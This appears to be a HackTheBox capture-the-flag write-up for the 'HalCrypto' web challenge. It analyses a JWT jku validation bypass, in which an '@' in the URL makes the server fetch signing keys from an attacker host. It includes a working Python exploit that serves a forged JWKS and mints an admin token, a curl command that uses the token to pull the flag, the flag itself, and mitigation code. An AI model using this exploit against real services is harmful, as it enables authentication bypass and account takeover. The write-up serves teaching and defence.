Executive Summary
- Challenge: HalCrypto
- Category: Web Security
- Vulnerability: JWT validation bypass via URL confusion with @ symbol
- Impact: Authentication bypass leading to admin access
- Flag:
HTB{r3d1r3c73d_70_my_s3cr37s}
Vulnerability Overview
Attack Flow Diagram
graph TD
A[User Login + Attacker JWT] --> B[AuthMiddleware]
B --> C[Extract JKU URL from Header]
C --> D{Validate JKU URL<br/>lastIndexOf check}
D -->|"URL starts with AUTH_PROVIDER<br/>string-based comparison"| E[PASSES]
D -->|"Does not start with AUTH_PROVIDER"| R[Rejected]
E --> F["Fetch JWKS from JKU URL"]
F --> G["JWT Verification with<br/>attacker's public key"]
G --> H[Auth Bypass]
H --> I[Flag]
subgraph "URL Confusion"
J["Validator sees:<br/>http://127.0.0.1:[email protected]/...<br/>starts with AUTH_PROVIDER ✓"]
K["HTTP client connects to:<br/>attacker.com<br/>treats 127.0.0.1:1337 as credentials"]
end
D -.-> J
F -.-> K
Source-to-Sink Analysis
1. Entry Point - JWT Authentication (Source)
The vulnerability starts when the AuthMiddleware processes JWT tokens:
// middleware/AuthMiddleware.js:5-34
module.exports = async (req, res, next) => {
try {
if (req.cookies.session === undefined) {
if (!req.is('application/json')) return res.redirect('/');
return res.status(401).send(response('Authentication required!'));
}
return JWTHelper.getHeader(req.cookies.session)
.then(header => {
if (header.jku && header.kid) {
// VULNERABILITY: Weak URL validation using lastIndexOf
if (header.jku.lastIndexOf(config.AUTH_PROVIDER, 0) !== 0) {
return res.status(500).send(response('The JWKS endpoint is not from localhost!'));
}
return JWTHelper.getPublicKey(header.jku, header.kid)
.then(pubkey => {
return JWTHelper.verify(req.cookies.session, pubkey)
.then(data => {
req.user = data.user;
return next();
})
.catch(() => res.status(403).send(response('Authentication token could not be verified!')));
})
.catch(() => res.redirect('/logout'));
}
return res.status(500).send(response('Missing required claims in JWT!'));
})
.catch(err => res.status(500).send(response("Invalid session token supplied!")));
} catch (e) {
return res.status(500).send(response(e.toString()));
}
}
2. The Vulnerable Validation - String-based URL Check
The critical vulnerability lies in line 14 of AuthMiddleware.js:
// The vulnerable check
if (header.jku.lastIndexOf(config.AUTH_PROVIDER, 0) !== 0) {
return res.status(500).send(response('The JWKS endpoint is not from localhost!'));
}
Why this is vulnerable:
lastIndexOf(searchString, 0)only checks if the string starts withsearchString- It’s a simple string comparison, not proper URL parsing
- Doesn’t account for URL syntax like authentication credentials (
user:pass@host)
3. Configuration - Expected AUTH_PROVIDER
// config.js:11-15
if (env == 'prod') {
this.AUTH_PROVIDER = 'http://halcrypto.htb:1337';
} else {
this.AUTH_PROVIDER = 'http://127.0.0.1:1337';
}
The application expects JKU URLs to start with either:
- Production:
http://halcrypto.htb:1337 - Development:
http://127.0.0.1:1337
4. JWKS Fetching - The Sink
The JWTHelper fetches the public key from the attacker-controlled URL:
// helpers/JWTHelper.js:52-67
async getPublicKey(jku, kid) {
return new Promise(async (resolve, reject) => {
client = jwksClient({
jwksUri: jku, // Attacker-controlled URL
fetcher: this.nodeFetch,
timeout: 30000
});
client.getSigningKey(kid)
.then(key => {
resolve(key.getPublicKey());
})
.catch(e => {
reject(e);
});
});
}
The nodeFetch function that actually makes the HTTP request:
// helpers/JWTHelper.js:6-16
async nodeFetch(url) {
return new Promise(async (resolve, reject) => {
try {
res = await fetch(url); // Fetches from attacker's server
resolve(res.json());
}
catch (e) {
reject(e);
}
});
}
URL Confusion Attack Explained
How URL Parsing Works
Key Insight: The validation sees 127.0.0.1:1337 as part of the URL, but HTTP clients interpret it as authentication credentials and connect to attacker.com instead.
Exploit Chain
Detailed Exploit Flow
sequenceDiagram
participant Attacker
participant Target as Target Server
participant AttackerServer as Attacker JWKS Server
Attacker->>Attacker: Generate RSA keypair
Attacker->>Attacker: Craft malicious JKU URL<br/>http://127.0.0.1:[email protected]/jwks.json
Attacker->>Attacker: Create admin JWT signed<br/>with private key
Attacker->>Target: Send request with forged JWT
Target->>Target: Validate JKU with lastIndexOf<br/>starts with AUTH_PROVIDER ✓
Target->>AttackerServer: Fetch JWKS from JKU URL
AttackerServer-->>Target: Return attacker's public key
Target->>Target: Validate JWT signature<br/>with attacker's public key ✓
Target->>Target: Grant admin access
Target-->>Attacker: Return flag
Exploit Implementation
1. Malicious JWKS Server (solve.py)
from flask import Flask, jsonify
from jwcrypto import jwk
import jwt, time
# Generate RSA key pair
key = jwk.JWK.generate(kty='RSA', size=2048)
pub_jwk = jwk.JWK()
pub_jwk.import_key(**key.export(as_dict=True, private_key=False))
kid = 'attack-key-1'
# Format JWKS to match application expectations
pub_jwk_dict = pub_jwk.export(as_dict=True)
pub_jwk_dict['kid'] = kid
pub_jwk_dict['alg'] = 'RS256'
pub_jwk_dict['use'] = 'sig'
jwks = {'keys': [pub_jwk_dict]}
app = Flask(__name__)
@app.get("/.well-known/jwks.json")
def jwks_endpoint():
return jsonify(jwks)
if __name__ == "__main__":
your_host = "mytuhc90.relais.dev" # Tunnel endpoint
# Craft malicious JKU URL with @ symbol for URL confusion
jku = f"http://127.0.0.1:1337@{your_host}/.well-known/jwks.json"
# Create admin JWT payload
payload = {
"user": {
"username": "admin",
"is_admin": 1 # Elevate privileges
},
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}
# Sign with our private key
priv_pem = key.export_to_pem(private_key=True, password=None)
token = jwt.encode(
payload,
priv_pem,
algorithm="RS256",
headers={
"jku": jku, # Points to our server but passes validation
"kid": kid # Key ID to find in our JWKS
}
)
print("Use this token as the 'session' cookie:")
print(token)
app.run(host="0.0.0.0", port=8000)
2. Generated Malicious JWT Structure
{
"header": {
"alg": "RS256",
"jku": "http://127.0.0.1:[email protected]/.well-known/jwks.json",
"kid": "attack-key-1",
"typ": "JWT"
},
"payload": {
"user": {
"username": "admin",
"is_admin": 1
},
"iat": 1757660738,
"exp": 1757664338
},
"signature": "[signed with attacker's private key]"
}
3. Attack Execution
# Step 1: Start malicious JWKS server
python3 solve.py
# Step 2: Use generated token
TOKEN="eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzN0BteXR1aGM5MC5yZWxhaXMuZGV2Ly53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImF0dGFjay1rZXktMSIsInR5cCI6IkpXVCJ9..."
# Step 3: Access admin dashboard with forged token
curl -s http://halcrypto.htb:34139/dashboard \
-H "Cookie: session=$TOKEN" \
| grep -o 'HTB{[^}]*}'
Vulnerability Root Cause Analysis
Why the Attack Succeeds
graph LR
A["Weak URL Validation<br/>(lastIndexOf)"] --> B["URL Parsing Ambiguity<br/>(@ symbol)"]
B --> C["JWKS Trust Model Flaw<br/>(blindly trusts fetched keys)"]
C --> D["Missing Security Controls<br/>(no egress filtering,<br/>no endpoint allowlist)"]
D --> E["Auth Bypass"]
Security Issues Identified
Weak URL Validation
- Uses
lastIndexOfstring operation instead of proper URL parsing - Doesn’t validate URL structure or components
- Uses
URL Parsing Ambiguity
- Different interpretation of
@symbol between validator and HTTP client - No sanitization of URL authentication components
- Different interpretation of
JWKS Trust Model
- Blindly trusts any JWKS from “validated” URL
- No certificate pinning or additional verification
Missing Security Controls
- No egress filtering for JWKS fetching
- No allowlist of trusted JWKS endpoints
- Static configuration without runtime validation
Mitigation Recommendations
1. Proper URL Validation
// Secure URL validation using URL parsing
const validateJKU = (jku) => {
const allowedHosts = ['127.0.0.1:1337', 'halcrypto.htb:1337'];
try {
const url = new URL(jku);
// Check for authentication credentials
if (url.username || url.password) {
throw new Error('URLs with credentials are not allowed');
}
// Validate host
if (!allowedHosts.includes(url.host)) {
throw new Error('Unauthorized JWKS host');
}
// Validate protocol
if (url.protocol !== 'http:' && url.protocol !== 'https:') {
throw new Error('Invalid protocol');
}
return true;
} catch (e) {
return false;
}
};
2. JWKS Endpoint Allowlisting
// Strict allowlist approach
const ALLOWED_JWKS_ENDPOINTS = [
'http://127.0.0.1:1337/.well-known/jwks.json',
'http://halcrypto.htb:1337/.well-known/jwks.json'
];
const validateJWKS = (jku) => {
return ALLOWED_JWKS_ENDPOINTS.includes(jku);
};
3. Certificate Pinning
// Pin expected certificates or keys
const PINNED_KEYS = {
'http://127.0.0.1:1337/.well-known/jwks.json': {
kid: 'expected-key-id',
thumbprint: 'sha256:...'
}
};
const validateKey = (jku, key) => {
const pinned = PINNED_KEYS[jku];
return pinned && key.kid === pinned.kid;
};
4. Network Segmentation
// Implement egress filtering
const fetchJWKS = async (url) => {
// Parse and validate URL
const parsed = new URL(url);
// Block private networks
if (isPrivateIP(parsed.hostname)) {
throw new Error('Access to private networks denied');
}
// Use a proxy for external requests
return await fetch(url, {
agent: trustedProxy,
timeout: 5000
});
};
Attack Timeline
- Initial Reconnaissance - Identified JWT-based authentication with JKU header
- Source Code Analysis - Found vulnerable
lastIndexOfvalidation - URL Confusion Research - Discovered
@symbol bypass technique - Exploit Development - Created malicious JWKS server and JWT generator
- Tunnel Setup - Established external access via
relais.dev - Attack Execution - Successfully bypassed authentication
- Flag Retrieval - Accessed admin dashboard and extracted flag
Flag Extraction
Successfully accessing /dashboard with the forged JWT revealed:
<div class="c-balance">
<div class="row">
<div class="col">
<p class="pr-h1 text-uppercase">flag</p>
<p class="pr-num"> HTB{r3d1r3c73d_70_my_s3cr37s} </p>
</div>
</div>
</div>
Lessons Learned
- URL Parsing Complexity - URLs have many components that can be interpreted differently
- String Operations ≠ Security - Never use string operations for security validations
- Trust Boundaries - External resources should never be blindly trusted
- Defense in Depth - Multiple layers of validation are necessary
- Standards Compliance - Follow JWT security best practices (RFC 8725)